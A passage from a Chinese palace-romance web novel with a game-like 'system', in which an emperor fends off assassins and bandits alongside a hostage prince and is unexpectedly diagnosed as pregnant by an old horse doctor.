系统提示音唤醒了梁苒,梁苒用尽全力将赵悲雪狠狠推开。
赵悲雪眼睛一眯,突然松开手,甚至也推了梁苒一把,梁苒毫无防备,整个身子又被吻的软绵绵没有力气,咕咚一下跌坐在地上。
“啊!”世子郁笙听到动静,赶紧跑过去扶起梁苒。
嗖——!!
一支冷箭应声刺来,直接剁在梁苒与赵悲雪中间,若不是梁苒跌倒,已然被冷箭对穿!
是刺客!
随着扑簌簌的声音,五个刺客从黑暗中围剿而来,将三个人团团包围在内。
赵悲雪按住自己浸血的肩膀,他的唇色纷纷泛着失血的青紫,却拔身而起,一双狼目幽幽的盯着那些刺客。
“主上!”五个刺客没有着急动手,而是朝着赵悲雪大喊:“主上,正是好机会,现在杀了梁贼,你便是大赵的功臣!天子一定会迎主上回国的!”
世子郁笙唰的转头去看赵悲雪,脸色惨白,他虽不能说话,但也不必说话,任是谁都能看得出来,他是在问赵悲雪,这些刺客是不是他的人。
赵悲雪的眼目闪烁着寒光,沙哑的说:“我不识得你们。”
刺客却执意说:“主上,机不可失!快动手啊!”
梁苒的目光快速的在刺客与赵悲雪身上掠过,就在他思索之时……
叮——
【温馨提示:再亲吻一次,可以使“亲嘴儿卡”的怀孕几率提升至0.00000002%呦~】
梁苒:“……”效果翻倍,系统还真是慷慨大方呢。
刺客催促着,握紧佩刀。赵悲雪冷冷的睥睨着他们,用眼神威压的同时,也在暗暗的戒备,他肩膀肌肉微微下压,这是标准的沉肩提手动作,一切都笼罩在灰暗的剑拔弩张气愤之下。
就连世子郁笙,也紧张的手心里满是冷汗。
而此时,梁苒突然拨开世子郁笙扶着自己的手掌,世子郁笙一愣,奇怪的看着梁苒,不知他要做什么。
梁苒面容镇定,那是一种帝王的从容不迫,他越过刺客,无视了那些凶神恶煞,走到赵悲雪的面前停下,抬起犹如柔荑般柔软,又如柳条般柔韧的双臂,打直白皙的天鹅颈,微微扬起线条细腻的下颌,众目睽睽之下吻上赵悲雪的嘴唇。
0.00000002%的几率,也是怀孕几率,梁苒绝不能浪费。
赵悲雪一愣,世子郁笙呆若木鸡,围攻的五个黑衣人目瞪口呆,黑压压的夜幕之下所有人屏住吐息,那浅浅的亲吻声清晰可闻,暧昧旖旎。
叮——
【恭喜宿主,怀孕几率提升至0.00000002%~】
“嘶……”随着系统的提示音响起,梁苒平坦的小腹一阵疼痛,说不出来的古怪。
23. 好哥哥
“君上——君上——”
“天子——”
扈行营地一片荒乱,刺客已然被击退,但队伍七零八落,虎贲中郎将苏木正带着士兵四处寻找天子梁苒。
晋王梁溪也带着一队精锐,快速穿梭在荒郊野岭,不断的拢着手大喊:“君上——”
鸟雀惊鸣,扑簌簌从林间飞起,快速的消散在黑夜之中,很快一切归为平静,根本不曾听到梁苒回应的声音。
眼看便要天明了,灰蒙蒙的天色,映照着地上斑斑驳驳的血迹,一串暗淡的血色延伸向前,一直通向无底的悬崖。
悬崖边的枯木上挂着一片黑色的衣角,哗啦啦迎风招展。
梁溪快速跑过去,一把抓住那即将被狂风卷走的衣角,克制着手指的颤抖,喃喃自语的说:“这是……君上的龙袍……”
一旁的亲随也认出来,这是龙袍的衣角,天子的衣襟!
“呜——”亲随突然哭咽出声,如丧考妣,捂着脸流涕:“大王!大王,天子他……他……”
“不会的。”梁溪的眼神十足坚定,向深沉的悬崖底部看去,说:“下面是水,这下面是水,君上不会有事的。”
亲随却说:“大王您醒一醒罢,这下面虽然是水,可悬崖如此之高,摔在水面上,和摔在磐石上,又有何种区别呢?加之水流湍急,天子必然已经……已经……呜呜!”
亲随似乎说不出那几个字,又是痛哭流涕起来。
梁溪的身子微微颤抖,好似寒风中瑟瑟的落叶,眼眶发红,叨念了一声:“三弟……”
亲随的眼眸转动,擦了擦眼泪,一脸努力克制悲痛的表情,说:“大王……您身为大梁的四王之首,身份地位何其尊贵,不如……不如立刻对外公布天子的死讯,如此一来……便可名正言顺的自立,看看朝中那把子老臣,谁敢反对于王上?!”
梁溪慢慢回过神来:“可是如今天子生死未卜,便算是坠下悬崖,也……”
“大王!”亲随断喝一声:“当机立断啊!便说天子摔下悬崖,已然粉身碎骨,化为齑粉,或者被野狼野兽分食,叼去了尸骨,无论如何都好!”
梁溪眯起眼目看向亲随,说:“你是什么意思?”
亲随咕咚跪在地上磕头:“大王!江山社稷为重啊!难道您真的想将大梁的江山,托付给那个事事都不如您的毛头小儿肩上么?大王您才是大梁江山名正言顺的人主!不如便趁现在,将天子的死讯公之天下,顺理成章登基大宝!”
“好啊!”有人比梁溪快一步,发出了喝彩的声音,但那声音满满全是讽刺!
一个身材高大的男子从远处走过来,正是秦王梁深。
梁深满脸嘲讽:“被本王抓了一个正着,不是么!好一个光风霁月的晋王!如今君上生死未卜,你便如此急于龙袍加身了?可真是等不及!”
“深儿……”梁溪想要开口为自己别解。
“无耻!”不等梁溪说罢,梁深又是一声呵斥,咬牙切齿的说:“你当年便也是如此,构想于我,想让我死在赵地的罢!我的……好哥哥!”
梁溪脸色动容,白皙的面颊变得苍白起来,嘴唇微微哆嗦。
梁深恶狠狠的说:“我要将你这副伪善的嘴脸,告之朝廷的每一个臣子,天下的每一个百姓!”
梁溪深深的吸了一口气,终于恢复了平静,淡淡的说:“那我倒想问问二弟,昨夜你去做了什么?”
“昨……昨夜?”梁深打了一个磕巴,突然被这样一问,莫名的心虚,糊弄说:“你问这个做什么?如今说的是你!勿要顾左右而言他!”
梁溪却说:“昨夜有马奴上报,说看到秦王鬼鬼祟祟一个人跑到马厩,还让身边的内监支走了所有的马奴。”
梁深心虚的厉害,说:“你到底要说什么?”
梁溪幽幽的说:“今日君上本可以乘坐我的马匹逃离刺客的追杀,可为何偏偏我的马匹突然口吐白沫,中毒而亡?难道……不是秦王在下毒?”
“胡说!”梁深冷斥:“我没有下毒!我那是……”泻药罢了。
梁溪逼问:“没有下毒你为何要鬼鬼祟祟?”
梁深双手攥拳,满脸的怒容:“好好好!既然你这般怀疑我,我也这般怀疑你,那正好!从今往后,你走你的阳关道,我过我的独木桥!”
梁深警告说:“但你记住,只要有我秦王在一天,你就休想对三弟不利!”
他说罢,一抖黑色的披风,冷声下令:“走,随本王去寻天子!务必迎君上归位!”
“是!”
*
刺客傻了眼。
他们本以为梁苒会逃跑,会慌乱,会……总之,刺客设想了梁苒各种各样的可能性,唯独没有设想到,梁苒会突然走上前来,与北赵的质子赵悲雪接吻!
赵悲雪也是一愣,但很快反应过来,一把搂住梁苒纤细的腰肢,紧紧将人箍在怀中,他根本不可能拒绝梁苒,更何况是这样主动高调的亲吻。
刺客你看我,我看你,眼神陡然变得凌厉,举起钢刀大喊一声,冲着梁苒刺来。
“啊!”世子郁笙只能发出一个惊呼的单音,想要提醒那“忘情热吻”的二人。
赵悲雪闭合的眼目突然微微睁开,黑色的眸光肃杀,白色的眼白冷酷,目光一转,嗤——手腕快速翻转,佩刀出鞘,干脆利索一下捅进刺客的胸腔,直接来了一个对穿。而他另外一只手,根本没有离开过梁苒的纤腰,仍然紧紧的桎梏,投入的亲吻。
又一个刺客冲过来,赵悲雪抽出佩刀,反手向后一抹,那刺客脖颈间一片血色,尚且没有反应过来,咕咚一声向后跌倒在地上,血迹喷溅,洒了满地都是,将泥土染得透彻。
赵悲雪的动作老练干脆,甚至心狠手辣,瞬息之间杀了两个刺客,好像切了两只瓜果一般简单便宜。
其余的三个刺客一看,都有些怯战,快速向后逃跑。
“唔……”梁苒感觉到一股窒息,赵悲雪的吻实在太霸道了,极尽全力,简直要将梁苒生吞活剥,他吐息不畅,努力推开赵悲雪,这才勉强结束了那漫长的一吻。
与此同时感觉到的,是小腹的疼痛。
“嘶……”梁苒捂住自己的小腹,但顾不得疼痛,指着逃跑的刺客:“抓住他们,别让他们逃走。”
赵悲雪当即听令,黑色的身形犹如鬼魅,他分明刚刚受了伤,但丝毫不介意自己肩膀的伤口,不知疲倦,不知疼痛,只要梁苒的一句话,他便是一把出鞘的杀器
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赵悲雪掠到刺客跟前,横刀拦住三人,三个刺客面露胆怯,一片惨白,他们方才看到赵悲雪的身手,自知根本不敌,别说三个人,便是来三十个人,也不是他的对手。
那三个刺客似乎有些默契,突然抬起手来,狠狠一咬手背。
“不好!”梁苒忍着疼痛:“他们要自尽。”
刺客的手背上显然涂了毒药,应该是见血封喉的毒药,果然,那三个刺客咬破手背之后,身体开始扭曲抽搐,咕咚咕咚几声,倒在地上痉挛,片刻便不动了。
梁苒忍着腹中的疼痛走过去查看,已然没气儿,死得透透的。
赵悲雪不顾自己肩膀在渗血,急于开口,沙哑的说:“这些刺客不是我的人,他们想要栽赃陷害于我……”
赵悲雪在北赵做皇子那么多年,的确培养了一些自己的势力,如今他到了大梁,那股势力自然也跟随而来。
但这些人显然不是赵悲雪的人,他们明显想要挑拨赵悲雪和梁苒的干系,或者说,是挑拨大梁和北赵的干系。
“寡人知晓。”梁苒打断了赵悲雪的解释。
赵悲雪奇怪的看着梁苒,梁苒淡淡的说:“这些刺客虽然拿的都是北赵制式的兵刃,但是铁的颜色不对。”
赵地比梁地更加偏西一些,大梁一面临着海水,因为两国的地理环境不同,所以冶铁的技术自然不同,兵器中的含铁量也不同,制造出来的兵器,或有略微的颜色差异。
梁苒是做过两辈子天子之人,加之心思天生细腻,自然能看出这一点子。
再者……
天色灰蒙蒙发亮,已然过了子时,便是过了一天,梁苒已经可以再次开启“耳听八方”的系统技能,此技能不止可以听到人声,甚至可以听到心声。
就在方才那弹指一瞬,梁苒已然听清了刺客的心声。
刺客根本不是北赵人,而是大宗伯派来的死士!
大宗伯因为得不到菰泽的二十万大军,打算在路上伏击梁苒、梁溪和梁深,让梁氏所有的名正言顺全部死在外面,这样他便可以名正言顺的自立。他安排这些刺客,自然是想要嫁祸给北赵,洗脱自己的嫌疑。
方才那些刺客挑拨离间,其实是想要留下世子郁笙这个活口,世子郁笙一旦死里逃生,自然会将北赵刺客杀死大梁天子的事情公布天下,如此一来,大宗伯不但可以自立,得到菰泽的兵马,甚至可以转移仇恨,暗度陈仓!
梁苒眯起眼目,说:“这些并非赵人,寡人自是相信于你。”
赵悲雪一双狠戾的狼目瞬息变成了小狗眼,眼尾耷拉着,甚至有水光在里面波动,他感动的竟然要哭了!
赵悲雪的嗓音更加沙哑:“你……信我?”
梁苒很想翻一个白眼,他方才干脆利索杀人挖肠子的时候,可没有这般弱小可怜,这么大个头,竟是个动不动哭鼻子的狗子?
“嘶!”小腹又开始疼痛,一股凉风吹来,夹杂着尸体的血腥气。
“咳……”梁苒喉咙翻滚,难以抑制的反胃感涌上来,好似潮水,一浪高过一浪,恶心的想吐,反应十足激烈。
梁苒捂住自己平坦小腹的手掌一顿,心窍中陡然升起一阵酥麻,难道——寡人真的怀孕了?
24. 寡人有喜
题目:喜脉内容提要:
梁苒立刻不着痕迹的打开系统控制面板,查询自己是否怀孕。
叮——
系统虚拟面板一闪,在梁苒查询之前,先一步发布了任务。
【3.3.0任务:救下老者,并护送老者归家】
“救……救命……”
“别、别动刀,有话好好说!”
“老朽只是一个不中用的老头子,好汉,您便放过老朽罢……”
远处突然传来大喊的声音,飘悠悠随着冷风而来,其中那求饶的嗓音分明十足苍老,梁苒眸光微动,难道便是系统任务中提到的“老者”?
这荒郊野岭的,四下无人,廖无人烟,一个老者独身驾着马车,被十来个壮汉挡住了去路,那些壮汉骑着马,扛着生锈的钢刀,衣衫没有统一的规制,一看便知是打家劫舍的土匪。
土匪哈哈大笑,被老者低声下气求饶的声音所取悦,用刀尖指着老者:“老头儿!咱们出山从不走空,今日你若不留下一些财物,便要留下这条老命!”
“搜!给我上车嗖!”
马匪冲上去,将老者粗鲁的拽下马车,老者摔在地上,因着年事已高,瘫软着半面身子,根本无法爬起,颤抖的求饶。
“好汉饶命啊!这车上都是一些细软,没有值钱的物件儿啊!”
“啐!偌大一辆马车,竟没有值钱的东西?老子不信!”
“分明是这老货藏了起来,来啊,给我砍断他的腿,看他还不老实!”
世子郁笙远远的看到那几个马匪欺凌老者,气得双手攥拳,似乎想去帮忙,可观他们眼下的光景,唯一能打的赵悲雪受伤严重,箭镞还深深的欠在肩膀之中,梁苒和菰泽世子都不会什么武艺。
再者,黑衣刺客随时都会追来,若是贸然多管闲事,那才是前有狼后有虎,进退两难呢。
世子郁笙咬了咬嘴唇,他是个哑巴,本就不会说话,此时更是只能沉默。
梁苒并非是个喜欢多管闲事之人,尤其他重生一世,比上一辈子更加沉稳,奈何系统偏偏叫他多管闲事,且眼皮底下正是大梁的土地,有人胆敢在他大梁的王土之上,劫掠欺凌子民,梁苒身为一国之君,也不算是多管闲事。
赵悲雪只是看了梁苒一眼,立刻明白了他的意思,低声说:“你想救人?”
世子郁笙惊讶的看着他们,似乎在用眼神询问,可是如何救人?马匪的数量远远比方才的刺客多,少说也有二十来人,赵悲雪便是再能打,如此重伤之下,也不该硬碰硬。
梁苒挑起唇瓣,浅笑一声:“世子可会做绊马索?”
世子郁笙睁大眼眸,一脸恍然。菰泽以司空与冶铁之技冠绝诸国,身为太子的郁笙自然也深得这门技艺,这荒郊野岭的,便是树枝多,做绊马索再简单不过。
世子郁笙立刻点点头,梁苒幽幽的说:“都听寡人的安排。”
“老货!”马匪不耐烦的上前,一脚踩在老者的手臂上,狠狠的碾压:“我看你是活得不耐烦,把值钱的物件儿交出来!”
老者疼得哀叫,求饶说:“好汉饶命啊!老朽……老朽真的没有值钱的物件儿。之前回乡祭拜,路上遭遇了家奴反水,已然把值钱的东西全都偷了去,老朽这才孤身一人,除了这些细软,全然是身无分文啊!”
“呸!”马匪啐着:“真贼娘的晦气,一刀砍了这老货,倒也干净!”
马匪高高举起钢刀,迎着初升的朝阳,便在此时……
“身强力壮不去耕种,不去投军,反而在这里打家劫舍,欺凌老弱,真是体面呐!”
那声音清冷,带着一股凛然,仿佛初春的溪水。
马匪们顺着声音回头,便看到灰蒙蒙的朝阳之下,站着一个身姿纤细,仪态矜贵的年轻男子,那男子不到二十岁的年纪,衣衫褴褛了一些,面目却如画中的谪仙,纤尘不染。
正是梁苒!
梁苒从山上跌下来,黑色的龙袍早就被湍急的河水冲走,因而也不怕暴露了身份。
马匪冷嗤:“一个小白脸儿,你打肿脸充什么英杰?今儿个老子心情好,一起砍了你!!”
马匪举着生锈的大刀,驱马转头冲向梁苒,其他马匪一看,也跟着起哄,全部冲向梁苒,想将梁苒踩踏在马蹄之下。
踏踏踏!
马蹄纷杂而至,呼啦——就在马匪纵马到梁苒跟前之时,地上的泥土突然纷飞,一根绳索猛然掀起,绳索上裹满了倒刺,马匹受惊,高高尥起蹶子,打着响鼻。
“啊——!!”当先的马匪根本没有防备,狠狠摔在地上,登时人仰马翻。
“哎呦——”
“啊!摔死老子了……”
七八个马匪被折下马背,有的直接摔得骨折,有的则是头破血流。
“你……臭小子!给脸不要脸的小白……”脸。
马匪爬起来,抓起裹满泥土的钢刀,指着梁苒逼近,只是他的话还未说完,眼前一黑,一道黑影吐息之间而至,擒住他的手腕。
咔嚓!一声脆响,马匪先听到了手腕骨折的声音,之后才是滞后的疼痛,钢刀脱手而出,一下子被对方夺走。
梁苒负责吸引马匪的注意力,世子郁笙负责绊马索,而赵悲雪则负责找准时机出现救人。
赵悲雪一身染血的黑衣,鬓发凌乱的垂在脸侧,好似地狱中爬出来的修罗恶鬼,一把夺过马匪手中的钢刀,手起刀落,直接将钢刀扎在马匪的脚背上。
“啊!啊啊啊啊——”马匪急促的惨叫着,待看清楚自己的脚背,又是一连串的哀嚎。
其余的马匪从未见过这般狠人,活脱脱一个狂徒,饶是亡命之徒,也吓得面色苍白,更何况他们只是欺软怕硬的孬种,也不管自己的同伴了,丢了马匹,吓得屁滚尿流的逃跑。
梁苒只是冷冷的扫了他们一眼,说:“穷寇莫追。”
于是走过去,将老者亲自扶起来:“老人家,你没事罢?”
老者目瞪口呆,还未反应过来,惊讶的连连作揖:“多谢诸位!多谢诸位好汉!”
梁苒说:“举手之劳,不必言谢。”
老者连忙说:“老朽姓冯,本是回乡祭祖,哪知道途中家奴反水,将老朽的财物一席全都卷了,只剩下老朽一人……”
老者叹了口气,又说:“真真儿是祸不单行,没成想又在这里碰到了匪贼,多亏了几位义士相救,老朽这才保存了这条老命啊!”
老者看向三个人,一个身材苗条高挑的俊美少年,面皮白皙细腻,举手投足家教森严,一看便是金贵人家的小君子。
一个有些文弱腼腆的年轻人,透露着书香儒雅。
还有一个……还有一个面如修罗,浑身是血的男子,老者根本不敢去看他的容貌是俊美,还是丑陋,那一身血迹已然足够扎眼。
老者迟疑的说:“三位义士……是遇到了什么麻烦么?”
梁苒自然不可能坦然相告,毕竟还不知老者的具体底细,便含糊的说:“实不相瞒,我等行商路过此处,没成想遭遇
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了埋伏,与商队走散了……”
他看了一眼赵悲雪,说:“我的这位……伙计,受了重伤,急需医治。”
老者一拍手,颇为热情的说:“若是义士不嫌弃,老朽的宅邸离此处已然不远,过了前面的关卡便是了。”
“关卡?”梁苒蹙眉。
老者解释说:“以前这里是没有关卡的,这不是么,听说天子迎接菰泽国精锐大军,要途径咱们这里,因此官府特意在前面设下了关卡,往来的车辆与行人,都要核查路引,接受盘查。”
路引便是大梁的通行证,但凡经过城池,或者经过关卡,都需要核看路引,以防流匪盗贼。梁苒身为国君,赵悲雪身为质子,菰泽郁笙身为世子,自然是没有路引的。
按理来说,梁苒现在只要找到官服,亮明自己的身份,便可以得到官家的保护,成功与扈行大部队汇合,只可惜,眼下的地皮,乃是大宗伯的封底。
这里的官府,必然也都是大宗伯的爪牙,若此时被官府发现,岂不是自投罗网,羊入虎口?
倘或能跟着老者通过关卡,那是再合适不过的。
梁苒一脸亲和,说:“实不相瞒,我们的路引都在商队保管,如今和商队走散……”
老者立刻会意,说:“三位义士不必介怀,你们跟着老朽一同过卡便是了,老朽常年在此走商,识得关卡的官爷,只说你们与老朽一起,他们定然不会为难的。”
梁苒等的就是这句,说:“那便多谢老先生了。”
“诶,”老者说:“恩公不必客气。”
“唔……咳!”那股反胃的感觉又席卷而来,梁苒的脸色登时更加惨白,捂着自己的嘴唇咳嗽。
赵悲雪和世子郁笙立刻抢过来,扶住梁苒。
“你怎么了?”赵悲雪担心的说:“哪里不舒服?”
赵悲雪分明伤得更重,他的肩膀还在淌血,却顾不得这些,仿佛眼里心里只有梁苒一人。
老者说:“不瞒恩公们,其实老朽跑商之前是个兽医,专门给马匹医治,这般严重的外伤,老朽是无法医治的……”
他说着看了一眼赵悲雪,箭镞需要割开皮肉才能剖出,眼下工具并不齐全,老者也无能为力。
老者又说:“但一般的头疼脑热,老朽还是可以医治的,若是恩公信得过,老朽可帮你把把脉,看看情况。”
梁苒忍耐下翻滚的酸意,点点头,虚弱的说:“有劳老先生了。”
老者立刻搭上梁苒的手腕,仔细的诊脉,又换了梁苒的另外一只手搭脉,只见他微微蹙眉,观察着梁苒的脸色。
梁苒比一般的男子要清秀很多,双眉弯弯远山如画,面庞白皙肤如凝脂,因为胃里不舒服的缘故,唇瓣呈现淡淡的浅粉,上薄下厚,唇形吹弹可破,说是绝色佳人也不为过。
老者观察罢了梁苒,又去看彬彬有礼的世子郁笙,最后去看凶神恶煞满身是血的赵悲雪。
思索再三,终于开口说:“老朽实在唐突了,也是,哪有郎君生得如此貌比美妇的,原来是位扮作男服的娘子啊!”
他这般一说,世子郁笙愣住了,赵悲雪愣住了,梁苒也愣住了。
貌比美妇?扮作男服?娘子?说的是……寡人么?
老者笑眯眯的缕着胡须,拍着世子郁笙的肩膀说:“小郎君,恭喜啊,你家娘子是喜脉!”
又对眼神不善的赵悲雪说:“你这伙计还愣着做什么?扶着你家主母上车去歇息,小娘子怀胎的月份还浅,受不得半点风寒!”